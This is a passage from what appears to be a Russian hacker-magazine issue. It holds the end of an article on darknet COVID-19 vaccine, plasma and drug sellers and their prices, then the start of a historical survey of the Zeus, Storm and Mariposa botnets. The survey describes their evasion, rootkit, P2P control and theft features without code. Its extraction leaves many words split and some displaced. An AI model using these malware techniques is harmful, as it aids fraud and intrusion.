линика находит ся вне зоны дос тупа.

пе реда ет

По сло вам

ПАНАЦЕЮ ЗАКАЗЫВАЛИ?
«Высокое  качес тво».  «Одоб рено  про фес сиона лами».  «100%‐я  безопас‐ 
ность».  «Гаран тия  эффектив ности».  Эти ми  сло гана ми  поль зуют ся  вен доры,
тор гующие  вак цинами  от  корона виру са.  В  общей  слож ности  я  нашел  пять
раз ных  пре пара тов.  Про дав цы  утвер жда ют,  что  при вив ка  от  инфекции  уже
дав но изоб ретена и апро биро вана, пра витель ство спе циаль но скры вает пре‐ 
парат  от  граж дан,  что бы  посе ять  панику.  Этот  мар кетин говый  ход  отлично
убеж дает  любите лей  теории  загово ра  и  все ляет  уве рен ность  в  сер дца
покупа телей,  которые  верят  в  реп тило идов,  атлантов  и  подоб ное  мра кобе‐ 
сие. У одно го из пред при нима телей яко бы есть дос туп к сек ретной лабора‐ 
тории,  и  он  готов  про дать  ампу лы  с  про тес тирован ным  анти дотом.  Никаких
ски док  не  пре дус мотре но,  ведь  пре парат  —  на  вес  золота.  Более  того,
некото рые вен доры даже отка зыва ются отве чать на воп росы потен циаль ных
покупа телей до опла ты заказа.

Де сят ки  фар мацев тичес ких  ком паний  раз работа ли  при вив ки  от  COVID‐
19  и  про водят  или  уже  завер шили  кли ничес кие  испы тания. Одна ко  ни  один
медика мент еще не пос тупил в про дажу. Ско рее все го, Рос сия ста нет пер вым
государс твом,  в  котором  будет  запуще на  вак цинация.  В  сен тябре  медики
выпол нят  пол номас штаб ное  тес тирова ние  оте чес твен ного  пре пара та
под  наз вани ем  «Спут ник  V»,  а  уже  в  октябре  все жела ющие  смо гут  сде лать
при вив ку. Китай цы собира ются начать тор говать вак циной в декаб ре, а италь‐ 
янцы  и  того  поз же  —  в  янва ре  2021‐го.  Поэто му  анти виру сы  из  дар кне та
в луч шем слу чае пус тышки, а в худ шем — рас садни ки заразы или ток сичных
веществ.

23  дилера  пред лага ют  купить  кровь,  слю ну  или  плаз му  выз доровев ших
от корона виру са. Пять вен доров сбы вают образцы плаз мы, взя тые у доноров,
которых  яко бы  про вери ли  на  инфекци онные  заболе вания.  Оставши‐ 
еся 18 про дав цов заяв ляют, что они перебо лели COVID‐19, и про дают свою
собс твен ную  кровь или слю ну. В биоло гичес ких жид костях орга низ ма паци‐ 
ентов,  изле чив шихся  от  вируса,  при сутс тву ют  анти тела,  поэто му  прак тика
внут ривен ного вве дения слю ны, плаз мы и кро ви по сути пред став ляет собой
пас сивную  имму низа цию.  Теоре тичес ки  в  резуль тате  инъ екции  повыша ется
устой чивость  к  COVID‐19,  но  этот  эффект  сох раня ется  мак симум  в  течение
шес ти недель. При этом пов торная пас сивная вак цинация зачас тую вызыва ет
осложне ния и не сти мули рует имму нитет.

Плаз му кро ви мож но дер жать при ком натной тем перату ре не боль ше вось ми
часов,  ее  хра нят  в  морозил ке  при  тем перату ре  –20  °С.  Дилеры  отправ ляют
образцы плаз мы по поч те в ваку умных упа ков ках, ясное дело, без встро енно‐ 
го  холодиль ника.  Необ работан ные  кровь  и  слю на  под верже ны  быс тро му
биоло гичес кому рас паду и при плю совой тем перату ре прос тоят дай бог пару
часов.  Посыл ка  в  Рос сию  из‐за  гра ницы  в  луч шем  слу чае  дой дет  за  десять
дней.  Даже  если  в  дар кве бе  про дают  биоло гичес кие  жид кости  людей,
которые  реаль но  болели  корона виру сом,  то  анти тела  раз рушат ся  еще  до
при езда на тамож ню и от при вив ки не будет никако го про ка.

СНАДОБЬЯ
В  раз гар  эпи демии  COVID‐19  на  пол ках  тем ных  мар кет плей сов  появи лись
четыре про тиво вирус ных пре пара та:

гид роксих лорохин;•
хло рохин;•
фа випи равир;•
азит ромицин.•

WARNING

Ав тор  и  редак ция  не  несут  ответс твен ности
за любой вред, при чинен ный здо ровью в резуль‐ 
тате упот ребле ния упо мяну тых в статье пре пара‐ 
тов.  Пом ни,  что  любое  решение  ты  при нима ешь
на свой страх и риск. Если есть воз можность про‐ 
кон суль тировать ся с вра чом, это пер вое,  что мы
рекомен дуем сде лать.

Гид роксих лорохин, пожалуй, самая хай повая мик сту ра от корона виру са. Пре‐ 
зидент США Дональд  Трамп  и  гла ва  Бра зилии Жаир Бол сонару  при нима ли
этот медика мент в качес тве пре вен тивной меры. Что бы про верить эффектив‐ 
ность пре пара та как средс тва про филак тики зараже ния COVID‐19, сот рудни‐ 
ки  Уни вер ситета  Мин несоты  про вели  пла цебо‐кон тро лиру емое  ран домизи‐ 
рован ное  ,  в  котором  при нял  учас тие  821  доб роволец,  пред‐ 
положи тель но кон такти ровав ший с перенос чиками заболе вания. Волон теров
подели ли на две груп пы: одни упот ребля ли пла цебо, а дру гие — гид роксих‐ 
лорохин.

ис сле дова ние

В  ито ге  корона виру сом  зарази лись  11,8%  испы туемых,  при нимав ших
лекарс тво,  и  14,3%  подопыт ных,  которым  выдали  пла цебо.  Вер дикт  уче ных
оче виден  —  при мене ние  пре пара та  не  при носит  ста тис тичес ки  зна чимых
резуль татов. Надеж да на гид роксих лорохин как на лекарс тво от болез ни тоже
про вали лась пос ле того,  , что медика мент не облегча ет сим‐ 
пто мы корона виру са.

как выяс нилось

Хло рохин,  близ кий  родс твен ник  гид роксих лорохи на,  про демонс три ровал
пол ную  несос тоятель ность  в  борь бе  с  COVID‐19.    спе циалис тов
Немец кого  цен тра  изу чения  при матов,  пре парат  не  подав ляет  спо соб ность
вируса  про никать  внутрь  кле ток  лег ких.  В  луч шем  слу чае  медика мент  никак
не пов лияет на сос тояние здо ровья челове ка, который заразил ся инфекци ей,
в худ шем — усу губит течение болез ни.

По  сло вам

Фа випи равир гораз до инте рес нее двух пре дыду щих сна добий. Кли ничес‐ 
кие  испы тания  ,  что  пре парат  уско ряет  выз доров ление  паци ентов,
которым пос тавлен диаг ноз COVID‐19 сред ней тяжес ти. 71,4% боль ных, при‐ 
нимав ших  медика мент,  шли  на  поп равку  уже  на  седь мой  день  пос ле  воз‐ 
никно вения  сим пто мов.  Одна ко  фавипи равир  никак  не  подей ство вал
на подопыт ных, стра дающих от тяжелой фор мы заболе вания.

по каза ли

Ан тиби отик  азит ромицин  —  это  оче ред ной  анти коро нави рус ный  фуф‐ 
ломицин. Аме рикан цы   пре парат и выяс нили, что он не подав‐ 
ляет  реп ликацию  COVID‐19  и  не  спа сает  от  вос паления,  выз ванно го
инфекци ей.  Более  того,  одновре мен ный  при ем  медика мен та  и  хло рохи на
уве личи вает уро вень смер тнос ти боль ных корона виру сом на 2–3%.

про тес тирова ли

Ка кой вывод я сде лал? Фавипи равир похож на что‐то, что может помочь,
и счи тает ся безопас ным. Осталь ные три медика мен та как минимум дорогие
фуф ломици ны,  как  мак симум —  вред ные  суб стан ции,  ста вящие  под  угро зу
здо ровье и даже жизнь инфи циро ван ного челове ка.

ПОВАРЕННАЯ КНИГА БОРЦА ПРОТИВ КОВИДА
Кто‐то  пред при имчи вый  выс тавил  на  про дажу  инс трук цию  под  наз вани ем
«Спра воч ник  по  выжива нию  в  усло виях  эпи демии  корона виру са  COVID‐19:
медицин ский, физичес кий, соци аль ный, эко номи чес кий и финан совый гайд»
(Corona Virus Covid19 Epidemic Survival Handbook Medical Physical Social Eco‐
nomic and Financial Guide). В пособии ука зана информа ция:

о сим пто мах корона виру са;•
спо собах избе жать зараже ния;•
ме тодах лечения заболе вания;•
ме рах,  которые  пред при нима ют  влас ти  для  борь бы  с  рас простра нени ем
COVID‐19;

•

пос ледс тви ях эпи демии;•
глав ных прин ципах под готов ки к каран тину.•

В дар кве бе за руководс тво про сят 15 дол ларов. При этом в клир нете мож но
бес плат но  ска чать  кни гу  «COVID‐19:  прос тые  отве ты  на  важ ные  воп росы»
(COVID‐19:  Simple  Answers  to  Top Questions).  Спра воч ник,  написан ный  аме‐ 
рикан ски ми  уче ными  Вин сентом  Ковел ло  и  Рэн деллом  Хай ером,  осве щает
все  живот репещу щие  темы,  свя зан ные  с  корона виру сом.  Но  инс трук цию
начали про давать в дар кне те в апре ле, а гайд сос тавили в июле. Поэто му оба
пособия уже успе ли уста реть.

ЧТО ПОЧЕМ
Це ны  куса ются.  Прос тень кую  одно разо вую  мас ку,  которая  в  апте ке  сто‐ 
ит 30 руб лей, про дают за 10 дол ларов с уче том дос тавки. Если брать оптом,
мож но  нехило  сэконо мить.  100  000  масок  обой дут ся  в  1000  дол ларов  (по
цен ту за шту ку — 75 копе ек). Ту же самую Hemp Black на офи циаль ном сай те
отда ют  за  24,95  дол лара,  но  с  дос тавкой  толь ко  по  США.  На  теневых  тор‐ 
говых  пло щад ках  ее  мож но  при обрести  за  50  бак сов,  плюс  5  дол ларов
за дос тавку по все му миру. Нацен ка поч ти 100% — все в луч ших  тра дици ях
дар кве ба.

Сто имость  рес пирато ров  колеб лется  в  диапа зоне  от  29  до  150  дол ларов.
В рос сий ских магази нах цены демок ратич нее: от 2,5 до 7 дол ларов. Винило‐ 
вые, латек сные, нит риловые и поли эти лено вые пер чатки сбы вают толь ко упа‐ 
ков ками  от  100  пар  за  19–25  дол ларов.  Сред няя  цена  в  легаль ных  оте чес‐ 
твен ных  тор говых  точ ках  сос тавля ет  22  бак са.  Сто имость  резино вых
и диэлек три чес ких пер чей у теневых дилеров завыше на как минимум в четыре
раза по срав нению с ценами, уста нов ленны ми их клир нетов ски ми кон курен‐ 
тами: 24 про тив 6 дол ларов.

Про тиво газ MP5 отда ют за 30 дол ларов, Surplus ARF‐A — за 25 бак сов. Я
не нашел объ явле ний о про даже поль ско го агре гата в Рунете, но в Укрне те
за  него  про сят  957  гри вен  (35  дол ларов).  Surplus  ARF‐A  вооб ще  ока зал ся
рарите том — ни одно го пос та о про даже фран цуз ско го про тиво газа в СНГ.
В  дар кне те  тест  на  COVID‐19  обой дет ся  в  220  дол ларов,  в  рос сий ском
онлайн‐магази не — в 44 дол лара. Теневые вен доры про дают тер моска неры
за 70 бак сов, а Ozon — за 27.

Я  нис коль ко  не  уди вил ся,  узнав,  что  вак цины  —  самые  дорогос тоящие
товары  про тив  корона виру са.  Цена  китай ских  пре пара тов  варь иру ется
в  коридо ре  от  10  000  до  15  000  дол ларов,  за  швед скую  при вив ку  про‐ 
сят  1700  евро,  аме рикан ский  медика мент  наибо лее  дешевый  —  300  дол‐ 
ларов.  500  мл  плаз мы  выз доровев ших  паци ентов  сто ят  10  500  дол ларов,
кровь и слю ну готовы отпра вить за 1000 дол ларов.

Гид роксих лорохин  мож но  купить  за  150  дол ларов,  хло рохин  —  за  225,
фавипи равир —  за  410,  азит ромицин —  за  30.  В  рос сий ских  апте ках  гид‐ 
роксих лорохин  про дают  за  16  дол ларов,  фавипи равир  —  за  130,  азит‐ 
ромицин — за 1,25, хло рохин в про даже не обна ружил.

Ле карс тво Це на в дар кне те Це на в апте ках

Гид роксих лорохин 150 16

Хло рохин 225 —

Фа випи равир 410 130

Азит ромицин 30 1,25

КТО РУБИТ КАПУСТУ НА COVID-19?
Ма гази ны, работа ющие на рус ско языч ных тор говых плат формах, не пыта ются
зарабо тать  на  корона вирус ной  исте рии.  Сбы том  товаров  про тив  COVID
занима ются дилеры, зарегис три рован ные на меж дународ ных мар кет плей сах.
Я  нас читал  в  сум ме  114  вен доров,  тор гующих  СИЗ,  тес тами,  вак цинами,
лекарс тва ми  и  гай дами.  Из  них  70 —  аме рикан цы,  шес теро —  евро пей цы,
трое — бри тан цы, двое — авс тра лий цы, оставши еся 33 про дав ца не ука зали,
отку да они отправ ляют заказы, поэто му их мес тонахож дение неиз вес тно.

mailto:ayammsp@gmail.com
https://www.cochrane.org/ru/CD013652/INFECTN_kakova-diagnosticheskaya-tochnost-testov-na-antitela-dlya-vyyavleniya-infekcii-virusom-covid-19
https://ria.ru/20200413/1569982579.html
https://www.nejm.org/doi/full/10.1056/NEJMoa2016638
https://www.bbc.com/news/health-52937153
https://www.dw.com/en/chloroquine-does-not-help-against-the-coronavirus/a-54307197
https://clinicaltrials.gov/ct2/show/NCT04359615
https://academic.oup.com/ofid/article/7/6/ofaa207/5849083
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Бот нетом  нын че  никого  не  уди вишь:  они  встре чают ся
сплошь  и  рядом,  и  лежащая  в  их  осно ве  зараза  лег ко
вычища ется  анти виру сом —  спа сибо  косору кос ти  авто ров,
которые собира ют мал варь на колен ке из перег ноя и палок.
Но быва ет, что за вирусо писа тель ство берут ся про фи, и тог‐ 
да  ущерб  ста новит ся  колос саль ным,  а  вой на  со  злов‐ 
редом —  затяж ной  и  инте рес ной.  В  этой  статье  я  раз беру
такие  исто рии,  при чем  некото рые  из  них  еще  не  закон‐ 
чились.

INFO

Ох ватить  все  самые  инте рес ные  эпи демии
в одной статье нере аль но, так что я отоб рал лишь
восемь наибо лее показа тель ных слу чаев. При чем
даже  их  опи сать  во  всех  деталях  не  получит ся,
поэто му  сра зу  пре дуп реждаю,  что  какие‐то  под‐ 
робнос ти  могут  быть  опу щены  —  умыш ленно
или  нет.  Пом ни  и  о  том,  что  ситу ация  вок руг
активных  тро янов  впол не  может  изме нить ся
с момен та пуб ликации статьи.

ZEUS
 бан ков ский тро ян• Крат кая харак терис тика:

 2007 — нас тоящее вре мя• Го ды жиз ни:

 более 13 мил лионов• Ко личес тво зараже ний:

 экс пло ит‐пак• Ме тод рас простра нения:

: 196 стран• Рас простра нение

: более 120 мил лионов дол ларов• Ущерб

Наш хит‐парад откры вает Зевс, но вов се не тот, который вос седа ет на Олим‐ 
пе сре ди богов. Этот бан ков ский тро ян нас толь ко рас простра нен, что занял
пер вое мес то в спис ке самых разыс кива емых бот нетов Аме рики. По оцен кам

  ана лити ков,  он  при менял ся  в  90%  всех  слу чаев  бан ков ско го
мошен ничес тва в мире.
ди ван ных

Сна чала на осно ве Zeus было соз дано нес коль ко сотен раз рознен ных бот‐ 
нетов,  которые  кон тро лиро вались  раз ными  бан дами  кибер прес тупни ков.
Автор  или  авто ры  бота  прос то  про дава ли  бил дер  каж дому  встреч ному
и попереч ному, а те делали из него собс твен ные бот неты.

Каж дый рас простра нял бот как мог — нап ример, в 2009 году одна из груп‐ 
пировок про вела мас штаб ную рас сылку Zeus через спа мер ский бот нет Push‐
do. По оцен ке ком пании Damballa, толь ко в США тог да было зараже но поряд‐ 
ка  3,6  мил лиона  ПК.  Все го  же  с  момен та  появ ления  Zeus  зарази лось
более 13 мил лионов компь юте ров.

Раз работ чик  Zeus  был  изна чаль но  известен  под  никами  Slavik  и  Monstr,
и  имен но  он  в  2007–2010  годах  самос тоятель но  про давал  и  под держи вал
бот.  Так  про дол жалось  до  вер сии  2.0,  ког да  в  октябре  2010  года  Slavik
передал  сыр цы  вер сии  2.0  раз работ чику  тро яна SpyEye  и  по  леген де  прек‐ 
ратил раз работ ку. Но, по вер сии ком пании RSA, ори гиналь ный автор никуда
не ушел, а переда ча кода была отвле кающим манев ром.

В августе 2010 года, то есть за два месяца до офи циаль ного объ явле ния
о  прек ращении  работы  над  Zeus,  спе циалис ты  обна ружи ли  бот нет,  соз‐ 
данный на Zeus вер сии 2.1,  которая ни на одном под поль ном форуме тог да
не  про дава лась.  Из  это го  мож но  сде лать  вывод,  что  автор  прос то  поменял
биз нес‐модель и решил сфор мировать собс твен ный бот нет, а не про давать
бил дер бота всем жела ющим.

Из глав ных осо бен ностей в Zeus 2.1 — схе ма свя зи с управля ющи ми сер‐ 
верами изме нилась:  теперь  адре са  сер веров  соз давались  с  помощью DGA
(Domain  Generation  Algorithms).  Для  защиты  от  перех вата  про веря лась  под‐ 
пись заг ружа емо го в ходе обновле ния фай ла (исполь зовалась под пись RSA‐
1024).

К новов ведени ям этой вер сии некото рые иссле дова тели отно сят и появ‐ 
ление в сен тябре сбор ки Zeus‐in‐the‐Mobile (ZitMo) для Android, Windows Mo‐
bile,  BlackBerry  и  даже  Symbian.  Ново испе чен ный  трой  работал  в  связ ке
с «обыч ной» нас толь ной вер сией Zeus и поз волял обхо дить 2ФА онлай нового
бан кинга. По дан ным Check Point Software и Versafe, к кон цу 2012 года сбор ка
ZitMo под наз вани ем Eurograbber при нес ла сво им хозя евам при быль поряд‐ 
ка 36 мил лионов евро (око ло 47 мил лионов дол ларов на тот момент).

Кто‐то  или  пожад ничал,  или  слил  налево  исходный  код  Zeus  2.0.8.9,
но  факт  оста ется  фак том:  исходни ки  поч ти  акту аль ной  вер сии  Zeus  попали
в про дажу в дар кне те, это был фев раль 2011 года. А потом то ли покупа телей
не наш лось,  то ли про дав ца взло мали — в мае исходни ки попали в паб лик.
Это  событие  ста ло,  думаю,  самым  зна чимым  для  хакер ско го  мира
за 2011 год.

От дель но сто ит ска зать о модуле HVNC  (H озна чает Hidden). Это реали‐ 
зация VNC‐сер вера, но вза имо дей ству ет он с вир туаль ным рабочим сто лом,
который  поль зователь  уви деть  не может. Поз же  на  базе  сли тых  исходни ков
модуль HVNC переде лали в отдель ный про ект.

Пос ле  утеч ки сра зу появи лись  «умель цы»,  начав шие  кле пать из исходни‐ 
ков Zeus свои тро яны, которые порой были кло нами Zeus чуть более, чем пол‐ 
ностью,  вклю чая  админку.  Но  были  и  более  сто ящие  подел ки —  нап ример,
про ект  . Его глав ной осо бен ностью ста ло соз дание онлай новой плат‐ 
формы,  похожей  на  сов ремен ный  GitHub.  Здесь  заказ чики  мог ли  зап‐ 
рашивать  новые  фун кции,  сооб щать  об  ошиб ках  и  добав лять  собс твен ные
модули.  Короче,  раз работ ка  ста ла  инте рак тивной  и  при нес ла  немало  денег
сво им адми нам. Покупа телям даже пре дос тавля ли тех поддер жку — она вклю‐ 
чала,  к  при меру,  пос тоян ное  под держа ние  Citadel  в  акту аль ном  сос тоянии
для обхо да све жих защит в лице анти виру сов.

Citadel

Осенью 2011 года иссле дова тель по име ни Роман Хюс си (занимал ся изу‐ 
чени ем Zeus), иссле дуя один из вари антов Zeus, заметил стран ный UDP‐тра‐ 
фик. Даль нейший ана лиз показал, что новый вари ант Zeus имел нес коль ко IP‐
адре сов в кон фигура цион ном бло ке и компь юте ры с эти ми IP отве чали инфи‐ 
циро ван ной сис теме. За сут ки было выяв лено при мер но 100 тысяч уни каль‐ 
ных IP‐адре сов, с которы ми свя зыва лась новая модифи кация, из них боль шая
часть была рас положе на в Индии, Ита лии и США.

Ока залось,  что  Zeus  обза вел ся  пирин говыми  фун кци ями,  пред назна чен‐ 
ными для обновле ния и осно ван ными на про токо ле Kademlia. Из‐за исполь‐ 
зования  наз вания  скрип та    этой  вер сии  дали  наз вание
GameOver.

gameover.php

В  начале  2012  года  обна ружил ся  еще  один  вари ант  Zeus  GameOver:  он
содер жал  встро енный  сер вер  nginx,  что бы  вза имо дей ство вать  с  дру гими
ботами  через  про токол  HTTP.  С  это го  момен та  каж дый  бот  мог  выс тупать
в качес тве прок си для свя зи с исходным C&C, а защита от рас простра нения
«обновле ний»  спе циалис тами  по  дру гую  сто рону  бар рикад  обес печива лась
все  той же под писью фай лов. Вер сия GameOver  ока залась  весь ма живучей
и активна до сих пор.

Для рас простра нения бота исполь зовались более 74 тысяч взло ман ных FTP‐
сер веров,  спам,  мошен ничес тво  с  фаль шивой  тех поддер жкой,  экс пло иты
и  даже  соци аль ная  инже нерия  в  соц сетях.  Короче,  весь  джентль мен ский
набор.

Поз же  появи лась  информа ция  о  том,  что ФБР  сов мес тно  со  спе циалис‐ 
тами при мер но десят ка стран рас кры ло груп пиров ку, сто ящую за соз дани ем
Zeus. Все ее учас тни ки были объ явле ны в розыск,   и пред полага‐ 
емый орга низа тор — нек то Евге ний Богачёв. По дан ным ФБР, Богачёв живет
в Ана пе и вла деет яхтой. За его голову пред лага ют рекор дную сум му в 3 мил‐ 
лиона зеленых аме рикан ских руб лей! С тех пор об обновле ниях Zeus слыш но
нем ного:  автор,  по  видимос ти,  залег на дно,  а  под вижек  в розыс ке  вооб ще
нет. Будем ждать новос тей.

в том чис ле

Го воря «об обновле ниях слыш но нем ного», я имею в виду, что изна чаль‐ 
ный Zeus фак тичес ки перес тал под держи вать ся, но в 2015 году   его
новая инте рес ная модифи кация — она получи ла наз вание Sphinx. Ее панель
осо бо ничем не отли чат ся, но внут ри это новый тро ян, хорошо перера ботан‐ 
ный неиз вес тны ми авто рами. Сей час, в свя зи с корона виру сом, он осо бен но
акти вен  и    с  помощью  соци аль ной  инже нерии.  Для  прик‐ 
рытия    липовая  под пись  «Лабора тории  Кас пер ско го»
и самопаль ный сер тификат.

по яви лась

рас простра няет ся
ис поль зовалась

Ле чение  Zeus  очень  неп ростое:  он  успешно  обхо дит  анти виру сы
с помощью полимор фно го шиф рования, заража ет мно жес тво фай лов и пос‐ 
тоян но обновля ется. Луч шее лекарс тво — пере уста новить  заражен ную сис‐ 
тему,  но  при  боль шом  желании  мож но  поп робовать  най ти  и  вылечить
заражен ные фай лы, естес твен но, безо вся ких гаран тий успе ха.

STORM
 email‐червь для спа ма и DDoS• Крат кая харак терис тика:

 2007–2008• Го ды жиз ни:

 око ло 2 мил лионов• Ко личес тво зараже ний:

 спам• Ме тод рас простра нения:

Storm (AKA Zhelatin) впер вые был замечен в начале 2007 года и рас сылал ся
под  видом  записей  раз рушений  из‐за  силь ных  штор мов  в  Евро пе.  Уже
с самого начала бот исполь зовал соци аль ную инже нерию в пись мах, а в роли
при ман ки  в  теме  ука зыва лись  даже  такие  «новос ти»,  как  вос кре шение Сад‐ 
дама  Хусей на.  Но  если  бы  СИ  была  единс твен ной  осо бен ностью  бот нета
Storm,  он  бы  не  попал  в  нашу  под борку.  Для  сво его  вре мени  Storm  был,
навер ное,  самой  тех нологич ной  мал варью.  В  нем  реали зова на  децен тра‐ 
лизо ван ная  сис тема  управле ния  через  P2P  на  осно ве  про токо ла Overnet  (в
осно ве сети eDonkey) и полимор физм на сто роне сер вера.

Сер верный полимор физм до это го при менял ся толь ко в бот нете Stration,
который  впер вые  зас ветил ся  в  2006  году.  Впос ледс твии  меж ду  этим  бот‐ 
нетом и Storm была корот кая и не осо бен но инте рес ная вой на за компь юте ры
поль зовате лей. Тем не менее в какой‐то момент Storm сос тавлял до 8% всей
мал вари на компь юте рах с Windows.

В июле 2007 года, на пике сво его рос та, бот нет генери ровал поряд ка 20%
все го  спа ма  в  интерне те,  рас сылая  его  с  1,4  мил лиона  компь юте ров.
Занимал ся  он  прод вижени ем  лекарств  и  дру гих  медика мен тов:  как  отно‐ 
ситель но легаль ных, вро де виаг ры, так и зап рещен ных.

При мер но в то же вре мя были замече ны попыт ки раз бить бот нет на нес‐ 
коль ко обо соб ленных под сетей. Воз можно, авто ры хотели про давать дос туп
к заражен ным машинам по час тям заин тересо ван ным лицам. Так или ина че,
из это го ничего не выш ло.

Бот нет доволь но жес токо защищал свои ресур сы от слиш ком любопыт ных
иссле дова телей.  Ког да  обна ружи вались  час тые  обра щения  с  одно го  и  того
же адре са для ска чива ния обновле ний бота, что любят делать в анти вирус ных
ком пани ях,  боты  начина ли  DDoS‐ата ку  это го  адре са.  Кро ме  того,  были
с  перемен ным  успе хом  ата кова ны  сай ты  ком паний,  которые  мешали  хозя‐ 
евам  бот нета  делать  свое  чер ное  дело.  Так,  в  резуль тате  DDoS‐атак
на неболь шое вре мя была наруше на работа служб Spamhaus, SURBL (Spam
URI  Realtime  Blocklists)  и  URIBL  (Realtime  URI  Blacklist).  Это  нуж но  было
для того, что бы антиспам‐решения не смог ли обно вить базы и заб локиро вать
рас сылки.

В  какой‐то  момент  по  сум марной  про изво дитель нос ти  заражен ные
«Штор мом» ПК обош ли тог дашние супер компь юте ры. Пред ставь, какая мощь
была в руках у вла дель цев Storm! Если бы они решили вмес то рас сылки спа ма
занять ся  парал лель ными  вычис лени ями...  Впро чем,  не  будем  о  грус тном.
Крип товалю ты,  про  май нинг  которых  ты,  конеч но,  подумал,  в  тот  момент
еще  не  родились  из  идей  Сатоси  Накамо то,  так  что  май нить  было  нечего.
А жаль. В роли  злос тно го май нера бот нет  смот релся бы  в  нашей под борке
куда инте рес нее.

Так бы шло и даль ше, но в кон це 2008 года бот нет, буд то по манове нию
вол шебной  палоч ки,  исчез.  В  «Лабора тории  Кас пер ско го»  счи тают,  что
это  слу чилось  из‐за  зак рытия  Russian  Business  Network  —  кри миналь ного
абь юзо устой чивого  хос тинга  из  Рос сии.  По  дру гой  вер сии,  которая  мне
кажет ся  более  реалис тичной,  Storm  был  унич тожен  силами  иссле дова телей
безопас ности.  На  кон ферен ции  Chaos  Communication  Congress
(декабрь  2008  года)  груп па  хакеров  показа ла  тул зу  Stormfucker,  которая,
исполь зуя баг в Storm, самос тоятель но рас простра нялась через сеть Оvernet
и лечила заражен ные ком пы. А в Microsoft, как обыч но, про исхо дящее тол куют
по‐сво ему: там счи тают, что изба вить ся от бот нета помог ло обновле ние Win‐
dows. На чем‐то одном спе циалис ты так и не сош лись.

Ко неч но  же,  мес то  под  сол нцем  обыч но  не  пус тует,  и  с  кон чиной  Storm
появил ся  новый  бот нет  из  тро яна  Waledac.  Хоть  кодом  он  был  сов сем
непохож на сво его пред шес твен ника, но Waledac подоз ритель но напоми нал
Storm в некото рых осо бен ностях: исполь зование   хос тинга C&C, сер‐ 
верный  полимор физм,  фун кции  рас сылки  спа ма  и  механизм  обновле ния
через  P2P.  Даже  шаб лоны  спа мер ских  писем  поч ти  пов торяли  шаб лоны
из Storm. Рек ламиро вал Waledac те же товары тех же про дав цов, что и Storm.
Наг лядная демонс тра ция того, как один бот нет прик рыва ется и ему на сме ну
тут же при ходит новый.

Fast Flux

Storm  казал ся  приз раком,  пока  в  2010  году  учас тни ки  про екта  Honeynet
Project  не  обна ружи ли  его  новый  вари ант. Он  приб лизитель но  на  две  тре ти
сос тоял  из  кода  пер вого  вари анта:  236  из  310  фун кций  чер вя  оста лись
без  изме нений.  Уле тел  на  помой ку  кусок,  отве чающий  за  пиринг  (похоже,
из‐за  Stormfucker),  а  про токол  обще ния  с  C&C  переде лали  на  HTTP  (рань‐ 
ше — сокеты на TCP). К счастью, Storm 2.0 не получил такого широко го рас‐ 
простра нения,  как  его  стар ший  брат,  что  мог ло  слу чить ся  из‐за  переда чи
сыр цов пер вой вер сии дру гой коман де раз работ чиков.

За метить  сим пто мы  зараже ния  было  отно ситель но  нес ложно,  если
монито рить  попыт ки  запус ка  про цес сов.  Обыч но  вре донос ные  про цес сы
называ лись  , где X — номер. Воз можны сле дующие вари анты:gameX.exe

 — бэк дор и заг рузчик в одном фла коне, этот про цесс и запус‐ 
кал осталь ные;

• game0.exe

 — SMTP‐сер вер для пересыл ки спа ма;• game1.exe

 — сти лер адре сов email;• game2.exe

 — модуль рас сылки спа ма;• game3.exe

 — DDoS‐ути лита;• game4.exe

 — про цесс обновле ния бота.• game5.exe

Код  запус кался  рут китом  из  ,  что  поз‐ 
воляло  обой ти  некото рые  защит ные  механиз мы.  Хотя  коду  рут кита  в  ядре
и так пле вать на любую защиту, ведь выколу пать что‐либо из ядра, даже зная
его внут реннее устрой ство, — задача вов се не такая три виаль ная, как кажет‐ 
ся.

%windir%\system32\wincom32.sys

Так же рут кит не стес нялся под делывать анти вирус ные прог раммы,  что бы
поль зовате лю  казалось,  что  защита  работа ет  штат но,  —  при  том  что  она
не работа ла вов се.

Та ким  обра зом,  Storm  стал  одним  из  пер вых  ком мерчес ких  готовых
к исполь зованию спа мер ских инс тру мен тов. Пусть про сущес тво вал он недол‐ 
го, но зато показал путь дру гим зло умыш ленни кам, которые ста ли пос тупать
схо жим обра зом.

MARIPOSA
 тро ян‐червь• Крат кая харак терис тика:

 2009–2011• Го ды жиз ни:

 12 + 11 мил лионов (две вол ны)• Ко личес тво зараже ний:

  пират ский  софт,  саморас простра нение
через флеш ки, пирин говые сети и MSN messenger

• Ме тоды  рас простра нения:

 190 стран• Рас простра нение:

Бот нет Mariposa («бабоч ка» на испан ском) появил ся в 2009 году и был осно‐ 
ван на коде тро яна Palevo, извес тно го так же как Rimecud. По оцен кам Panda
Labs, раз мер этой гигант ской бабоч ки сос тавил 12 мил лионов компь юте ров.

В  коде  бот  называл ся  нес коль ко  про ще  —  Butterfly  Bot,  но  ник то  ведь
никому не зап реща ет име новать вещи как ему взду мает ся, так что анти вирус‐ 
ные ком пании при дума ли свое наз вание и выдали его как офи циаль ное. Авто‐ 
ру приш лось сми рить ся.

Бот  мог  работать  заг рузчи ком  для  дру гих  вре доно сов  всех  мас тей,  «из
короб ки»  умел  дос тавать  пароли  из  Firefox  и  IE,  под нимал HTTP‐  и  SOCKS‐
прок си  для  прик рытия  ата кующе го.  И  конеч но,  DDoS,  при чем  сра зу  два
модуля: TCP SYN flood и UDP flood.

Од ним  из  спо собов  рас простра нения  были  флеш ки  и  в  те  вре мена
еще работав ший  . Прав да, это силь но палило бот (не зря же он
осно ван на Palevo): Mariposa соз давал силь но обфусци рован ный файл авто‐ 
заг рузки,  в  котором  инс трук ции  переме шива лись  с  боль шим  количес твом
сим волов  раз ных  кодиро вок.  Таким  обра зом,  ini‐файл  каж дый  раз  выг лядел
по‐раз ному.

autorun.ini

Глав ной деятель ностью Mariposa был скам и  уже став ший  тра дици онным
DDoS.  Сюда  вхо дила  кра жа  с  компь юте ров  пос тра дав ших  акка унтов  и  их
даль нейшая  переп родажа.  Затем  бан ков ские  акка унты  исполь зовались
для опла ты услуг, а соц сети — для вся кого рода ска ма. Спой лер: сей час наз‐ 
начение кра деных дан ных ров но такое же.

По час ти защиты от изу чения авто ры бота пос тарались: вклю чили мно жес‐ 
тво защит, которые, впро чем, все рав но не помог ли избе жать зак рытия бот‐ 
нета. К защит ным механиз мам мож но отнести час тые обновле ния и модифи‐ 
кации бинар ного кода, поз воляв шие обхо дить сиг натур ный ана лиз, про тиво‐ 
дей ствие  запус ку  на  вир туал ках  и  в  песоч ницах  и  новый  защищен ный  про‐ 
токол вза имо дей ствия с коман дным цен тром на базе UDP.

